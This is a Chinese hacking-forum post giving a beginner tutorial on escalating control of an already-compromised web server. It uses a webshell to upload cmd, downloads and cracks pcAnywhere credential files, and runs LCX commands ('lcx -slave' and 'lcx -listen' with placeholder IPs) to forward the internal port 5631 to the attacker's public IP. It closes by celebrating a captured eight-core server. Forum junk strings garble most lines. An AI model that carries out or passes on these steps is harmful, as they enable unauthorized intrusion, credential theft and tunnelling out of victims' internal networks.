  
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的,像我这样的小菜没有这么好的命,我在用pcanywhere提权时问题总是多多,所以我今天做个在内网连接pcanywhere的简单教程。# b! ^! m( F5 j5 j, a4 ?; m) s
3 d# U4 Y9 B. H8 W: t, Y: g
提权方法:pcanywhere+LCX9 ~0 C" k6 c* `0 n" l/ g
2 ] n. V6 l1 D8 @" {获得webshell的过程就不说了,该篇教程主要给新手讲下提权的思路。
9 p- t$ u ?0 G* y$ Q! A" l; m6 A* O
在shell里看了下,WScript.shell等重要的组件没有被禁用,首先在有可执行读写权限的目录,上传个cmd试下可以运行。
* H: I, d- Y3 h' e4 }
" _0 H& H# L, {* A- K6 ?; x1 C. F b9 F/ m2 d$ [1 r
查看服务器开的端口时,发现服务器开了80、1433、5631等端口,并且服务器在内网。
' G- K" j. {% X b7 r2 A$ c
) c9 v9 c( V3 J. O C* i j; ?$ T7 F# T C' J
呵呵```pcanywhere的端口为5631,既然该站点有pcanywhere,我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件,下载到本地计算机上破解,呵呵```账号密码出来了。$ z9 |* N N7 [$ P. c' q
0 R' H3 G/ t1 y6 ?
* _3 R. H! ?. U3 P, {$ M- O+ Y* E2 c) U
( x$ K- q- O* ?# f由于服务器在内网,那我们就要做端口转发,又要用到LCX啦``' F# R+ ^; t2 A' d$ l, r
$ m( Y; |3 b1 o5 y7 F: x
/ x' u% }( u8 a2 t) s
LCX的用法再简单说下:" o/ B8 l3 F. E) G% @1 |' p! c" m! U6 F
0 ^; [6 D1 N5 @: y+ ~5 V
服务器上运行:lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX(服务器ip) XXXX(服务器需要转发出去的端口)( c" U6 P6 r4 R- p: H Q
/ D1 \, T- o! K: t# H4 {
本地计算机上运行:lcx -listen XX(端口号) XXX(在自己机器上指定的端口)# x9 j6 b2 c+ N$ \3 V
) ?( ]+ t/ v, A, ?
由于我的机器也在内网,LCX 转发端口到本地必须用公网ip,所以我还需要在路由器上简单设置下。6 B* j* l7 k7 r! ]4 x
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``0 w% d5 w3 s! ]7 N2 M6 ?) r4 }
5 y! P8 Z2 P; h, r" o
* M3 K5 K8 N+ y# A" f3 I
. x9 e) O& X2 E! J$ r
! h Q8 r9 V. x: ^呵呵``在连接的过程中出现个小问题,由于我用的是pcanyshell10.5的版本,在连接的时候提示版本过低,那我们就用12.0的版本试下。' F3 N, }$ T$ m9 G' I$ s
! U6 O1 @+ l: L& @' R* J& s
& h% }) ?$ b, K
" ]0 p" O( P" c# ]- j" b- \! w2 f( e+ y) e; N+ [, @( ~
我们本地连接试试,输入我们刚破解的账号密码
/ f# Y) T; g$ t
8 l+ C) k: T/ f, K0 |; `
( E$ f- o3 n# J" {0 `3 ~. L# r2 o呵呵``连接成功,服务器不错,又一个8核^︵^6 x! k6 f: \ D# N6 t3 O& \
2 c% W9 S' X2 U1 L' L* h. ~( J/ n2 M. D. H# E! \0 }: j
* y& }6 X, K) @& X8 H4 k |
附件: 您需要登录才可以下载或查看附件。没有帐号?注册
-
1
评分人数
-
|